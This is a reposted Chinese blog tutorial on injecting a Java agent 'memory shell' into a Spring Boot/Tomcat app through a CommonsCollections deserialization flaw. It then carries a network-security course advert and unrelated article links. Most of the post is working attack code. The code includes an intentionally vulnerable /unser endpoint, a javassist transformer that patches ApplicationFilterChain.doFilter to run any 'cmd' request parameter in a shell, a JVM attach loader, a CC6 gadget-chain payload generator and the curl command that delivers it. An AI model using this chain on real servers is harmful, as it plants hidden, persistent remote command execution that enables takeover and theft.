构造agent类型的内存马(内存马系列篇十三)

news2025/1/22 8:05:54

写在前面

前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。

这是内存马系列篇的第十三篇了。

环境搭建

我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,

IDEA新建一个springboot项目

漏洞代码:

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

/unser路由中,获取了请求体的序列化数据,进行反序列化调用;

/demo路由中,返回了一个字符串;

我打算的是通过CC链进行写入。

添加依赖。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

正式注入

编写agent.jar

有了前面的知识,我们知道在一个运行中的web服务中,对于premain方法的调用方式不太适用,更实用的是通过agentmain方法的调用。

在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。

但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。

只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter方法进行利用。

这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。

非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例,可以直接和请求进行交互。

image-20221020210332062.png

好了,接下来看看实现,我们可以简化为以下关键的几步:

  1. 通过addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。
    image-20221020210557192.png

  2. 之后通过调用retransformClasses方法,来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。

image-20221020210646261.png

首先是一个存在有agentmain方法的AgentDemo类。

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new TransformerDemo(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class aClass : allLoadedClasses) {
            if (aClass.getName().equals(ClassName)) {
                System.out.println("AgentDemo...");
                try {
                    inst.retransformClasses(new Class[]{aClass});
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

首先定义了一个我们想要修改的类名ClassName字符串,之后在agentmain方法中,添加进入一个我们实现的转换器,将第二个参数置为了true

image-20221020211357776.png

设置这个转换器是否可以再次进行转换,之后通过调用getAllLoadedClasses方法来获取所有在JVM中加载的类,之后就是匹配我们我们需要修改的类名,如果成功匹配,我们调用retransformClasses方法转入需要修改的类。

接下来就是ClassFileTransformer接口的实现类TransformerDemo类的逻辑。

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TransformerDemo implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.PrintWriter printWriter = response.getWriter();\n" +
                        "        ProcessBuilder processBuilder;\n" +
                        "        String o = \"\";\n" +
                        "        if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {\n" +
                        "            processBuilder = new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", cmd});\n" +
                        "        } else {\n" +
                        "            processBuilder = new ProcessBuilder(new String[]{\"/bin/bash\", \"-c\", cmd});\n" +
                        "        }\n" +
                        "        java.util.Scanner scanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter(\"\\A\");\n" +
                        "        o = scanner.hasNext() ? scanner.next() : o;\n" +
                        "        scanner.close();\n" +
                        "        printWriter.println(o);\n" +
                        "        printWriter.flush();\n" +
                        "        printWriter.close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                System.out.println("insertBefore....");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

同样在该类中定义了一个需要修改的字符串ClassName,最后在transform方法中就是我们的主要逻辑

通过调试,在这里我们得到的className的传参是一个使用/符号作为包名的分隔符,所以我们在transform中首先将/替换成了.符号之后进行匹配,如果成功匹配之后,就是对字节码的修改操作了

对于字节码的修改操作,不仅可以使用javassist框架进行字节码的操作,也可以使用ASM等框架进行修改

这里我是使用的是javassist框架,获取到了目标类的doFilter方法,调用其中的API,即是insertBefore方法将我们的逻辑写在该方法的前面,以至于不会影响原生方法的逻辑。

其中写入的代码

image-20221020212826931.png

也就是一个经典的将传入的cmd参数进行命令执行并将结果进行了返回,之后将我们修改后的doFilter方法的字节码返回。

最后,我们可以分别编译后得到一个agent.jar

序列化数据的编写

前面已经创建了一个agent.jar这个包,我们需要将这个包attach进JVM中

前面提到我们通过CC链进行注入,所以我们需要编写一个继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的类。

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class agentInject extends AbstractTranslet {

    static {
        try {
            // 恶意agent的位置
            String AgentPath = "xx\\Agent.jar";
            // 在JVM启动时,没有加载tools.jar,这里通过URLClassLoader进行加载
            URL toolsUrl = new URL("file:///xx/lib/tools.jar");
            URLClassLoader loader = URLClassLoader.newInstance(new URL[]{toolsUrl});
            // 加载tools.jar包中的 VirtualMachine / VirtualMachineDescriptor 类
            Class<?> VirtualMachine = loader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> VirtualMachineDescriptor = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            // 反射获取list方法
            Method listMethod = VirtualMachine.getDeclaredMethod("list", null);
            // 通过调用list方法获取JVM绑定的服务
            List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine, null);
            for (int i = 0; i < list.size(); i++) {
                // 遍历所有的服务,获取其名称组件
                Object o = list.get(i);
                Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                String name = (String) displayName.invoke(o,null);
                System.out.println(name);
                // 判断需要注入的组件名称
                if (name.contains("com.roboterh.vuln.Application")){
                    // 获取对应的pid进程号
                    Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
                    String id = (String) getId.invoke(o,null);
                    System.out.println("id => " + id);
                    Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    Object vm = attach.invoke(o,new Object[]{id});
                    // 调用loadAgent动态加载agent
                    Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm,new Object[]{ AgentPath });
                    // 断开
                    Method detach = VirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    System.out.println("Inject Success!");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

简单提一下代码中的关键点

将逻辑放在static代码块中,使得一加载就会触发其中的逻辑;

因为在在JVM启动的时候,并不会加载com.sun.tools.attach.VirtualMachine等类存在的tools.jar包,所以我们需要通过URLClassLoader的方法来获取VirtualMachine / VirtualMachineDescriptor等类;

在我们筛选我们想要注入的组件,获取他的PID之后,通过反射调用loadAgent的方法进行恶意agent.jar的加载,最后通过detach进行取消代理。

这里我选用的是使用CC6_plus的链子进行序列化数据的生成。

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] bytes = FileUtil.readAsByteArray(new File("xx\\agentInject.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                bytes
        });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory;
        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);

        outerMap.remove("keykey");
        serialize(expMap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }
}

注入演示

我们运行漏洞环境,之后将我们生成的1.ser文件中的序列化数据发送。

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

能够在控制台中发现一些输出。

image-20221020215248443.png

如果你存在有insertBefore....这几个字符串,那么恭喜你,你成功了。

image-20221020215353512.png

能够成功执行命令。

其中执行命令的调用栈是。

start:1007, ProcessBuilder (java.lang)
doFilter:140, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

总结

这个内存马算是我搞得比较久的一个内存马了,主要是中间出现了好多好多的问题,还好,时间没有白费,还是一步一个脚印的将所有错误debug解决了,不得不说debug是个好东西。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/364043.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑病毒已灭绝,是真的吗?

大家有没有这样一个疑问&#xff0c;觉得自己的电脑好像很久没有电脑病毒了&#xff1f;之前大名鼎鼎的蠕虫2000&#xff0c;熊猫烧香都变得不那么常见了。到底是电脑因为自身优化和杀毒软件的防护导致病毒变少了&#xff0c;还是本身电脑病毒变少了呢&#xff1f;&#xff08;…

Boost库文档搜索引擎

文章目录综述效果展示去标签化&#xff0c;清理数据构建索引用户查询综述 该项目使用了BS架构&#xff0c;实现了用户对Boost库进行站内搜索的功能&#xff0c; 用户输入关键字使用http协议通过ajax将数据发送给后端服务器&#xff0c;后端进行分词&#xff0c; 通过倒排索引…

【Kubernetes】第七篇 - Service 服务介绍和使用

一&#xff0c;前言 上一篇&#xff0c;通过配置一个 Deployment 对象&#xff0c;在内部创建副本集对象&#xff0c;副本集帮我们创建了 3 个 pod 副本 由于 pod 存在 IP 漂移现象&#xff0c;pod 的创建和重启会导致 IP 变化&#xff1b; 本篇&#xff0c;介绍 Service 服…

《计算机网络:自顶向下方法》实验5:NAT协议分析 Wireshark实验

实验12:NAT协议分析 1 What is the IP address of the client? 客户端的 IP 地址是192.168.1.100 2 The client actually communicates with several different Google servers in order to implement “safe browsing.” (See extra credit section at the end of this la…

Safety-Gym环境配置与安

官网&#xff1a; https://github.com/openai/safety-gym https://github.com/openai/safety-starter-agents 一、安装依赖环境配置 建议使用python 3.7及以下环境&#xff0c;因为官方的safety-rl是基于tensorflow1.13.1实现&#xff0c;而tensorflow1.13.1只能支持python…

leaflet 自定义添加地图网格线(087)

第087个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+leaflet中自定义添加地图网格线。 直接复制下面的 vue+openlayers源代码,操作2分钟即可运行实现效果. 文章目录 示例效果配置方式示例源代码(共76行)安装插件相关API参考:专栏目标示例效果 配置方式 1)查看基…

前端学习第九站——Vue3基础篇

目录 一、环境搭建 创建项目 编码 IDE 修改端口 配置代理 项目架构 二、Vue组件 main.ts 属性绑定 事件绑定 表单绑定 计算属性 xhr axios 环境变量 baseURL 拦截器 条件和列表 监听器 vueuse useRequest usePagination&#xff08;分页&#xff09; 子组…

你什么档次?敢和我用一样的即时通讯平台WorkPlus?

现今&#xff0c;很多企业越来越青睐私有化部署&#xff0c;尤其是在选择组织内部即时通讯平台的时候&#xff0c;更是会提出私有化部署的需求。究其原因&#xff0c;企业选择私有化部署即时通讯软件完全是出于安全方面考虑。因此&#xff0c;越来越多的企业将眼光望向了本地化…

深入讲解CFS组调度!(上)

注&#xff1a;本文缩写说明 一、CFS组调度简介 1.1. 存在的原因 总结来说是希望不同分组的任务在高负载下能分配可控比例的CPU资源。为什么会有这个需求呢&#xff0c;比如多用户计算机系统每个用户的所有任务划分到一个分组中&#xff0c;A用户90个相同任务&#xff0c;而B…

NIO蔚来 面试——IP地址你了解多少?

目录 前言 1、IP地址 1.1、什么是IP地址 1.2、IP地址的格式 1.2.1、32位二进制数表示IP地址&#xff0c;够用吗&#xff1f; 1.3、IP地址的组成 1.4、为什么会出现IPv6 1.4.1、为什么IPv6还没有大量普及呢&#xff1f; 1.5、子网掩码 1.6、特殊的IP地址 2、路由选择 …

微信小程序 之 云开发

一、概念1. 传统开发模式2. 新开发模式 ( 云开发模式 )3. 传统、云开发的模式对比4. 传统、云开发的项目流程对比5. 云开发的定位1. 个人的项目或者想法&#xff0c;不想开发服务器&#xff0c;直接使用云开发2. 某些公司的小程序项目是使用云开发的&#xff0c;但是不多&#…

Python自动化测试之登录脚本

登录脚本环境准备1、安装selenium模块2、安装浏览器驱动器代码1、登录代码2、xpath定位元素标签环境准备 前提已经安装好python、pycharm&#xff0c;配置了对应的环境变量。 1、安装selenium模块 文件–>设置—>项目&#xff1a;script---->python解释器---->s…

Spring自动装配的底层逻辑

Spring是如何自动装配Bean的&#xff1f;看源码一些自己的理解&#xff0c;如有错漏&#xff0c;请指正 使用Spring之前我们要先去web.xml中设置一下Spring的配置文件&#xff0c;在Spring的配置文件中&#xff0c;是通过component-scan扫描器去扫描base-package底下所有的类装…

【基础算法】哈希表(拉链法)

&#x1f339;作者:云小逸 &#x1f4dd;个人主页:云小逸的主页 &#x1f4dd;Github:云小逸的Github &#x1f91f;motto:要敢于一个人默默的面对自己&#xff0c;强大自己才是核心。不要等到什么都没有了&#xff0c;才下定决心去做。种一颗树&#xff0c;最好的时间是十年前…

【C++的OpenCV】第四课-OpenCV图像常用操作(一):Mat对象深化学习、灰度、ROI

我们开始图像处理的基本操作的了解一、图像对象本身的加深学习1.1 Mat对象和ROI1.1.1 创建一个明确的Mat对象1.1.2 感兴趣的区域ROI二、图像的灰度处理2.1 概念2.2 cvtColor()函数2.3 示例一、图像对象本身的加深学习 1.1 Mat对象和ROI 这是一个技术经验的浅尝&#xff0c;所以…

什么是 CSAT?这份客户满意度流程指南请查收

什么是 CSAT&#xff1f;如何计算我的客户满意度分数&#xff1f;大中型公司应该熟悉这些术语。以下文章旨在教您有关客户满意度流程的所有内容 - 基本的CSAT概念、创建CSAT调查的好处、如何创建CSAT调查。配图来源&#xff1a; SaleSmartly(ss客服) 一、什么是 CSAT&#xff1…

算法笔记(十二)—— Manacher算法(回文子串)

计算字符串内的最大回文子串&#xff0c;常用的暴力扩散在应对长度为偶数的回文时会遇到一些问题。 Manacher基础&#xff1a;对字符串进行填充&#xff0c;在字符串开头结尾以及字符间填充‘#’&#xff0c;以来应对偶数回文时的问题。&#xff08;这是采用暴力扩再除2&#x…

[黑马程序员SSM框架教程]03 spring核心概念

IOC/DI 书写现状&#xff1a;耦合度偏高 如图&#xff1a;传统书写代码左边业务层需要new一个对象进行业务实现。当数据层优化代码BookDaoImpl2就需要动业务层代码重新修改new的对象。导致代码耦合度偏高。 解决办法&#xff1a;使用对象&#xff0c;不要主动new对象&#xff…

kubernetes traefik ingress 安装部署以及使用和注意点

1、简介 Traefik 是一款 open-source 边缘路由器&#xff0c;可让您轻松地发布服务. 它接收来自您的系统请求&#xff0c;并找出负责处理它们的后端服务组件。 traefik 与众不同在于它能够自动发现适合您服务的配置。 当 Traefik 检查您的基础设施时&#xff0c;它会发现相关信…

Redisson实现分布式锁

目录Redisson简介Redisson实现分布式锁步骤引入依赖application.ymlRedisson 配置类Redisson分布式锁实现Redisson简介 Redis 是最流行的 NoSQL 数据库解决方案之一&#xff0c;而 Java 是世界上最流行&#xff08;注意&#xff0c;没有说“最好”&#xff09;的编程语言之一。…